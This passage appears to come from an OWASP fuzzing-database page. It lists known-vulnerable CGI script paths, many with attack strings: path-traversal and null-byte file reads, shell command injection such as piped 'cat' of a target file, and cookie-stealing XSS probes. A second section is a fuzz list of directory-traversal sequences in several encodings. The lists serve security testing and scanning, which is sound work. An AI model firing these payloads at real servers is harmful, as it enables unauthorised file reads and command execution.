db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> 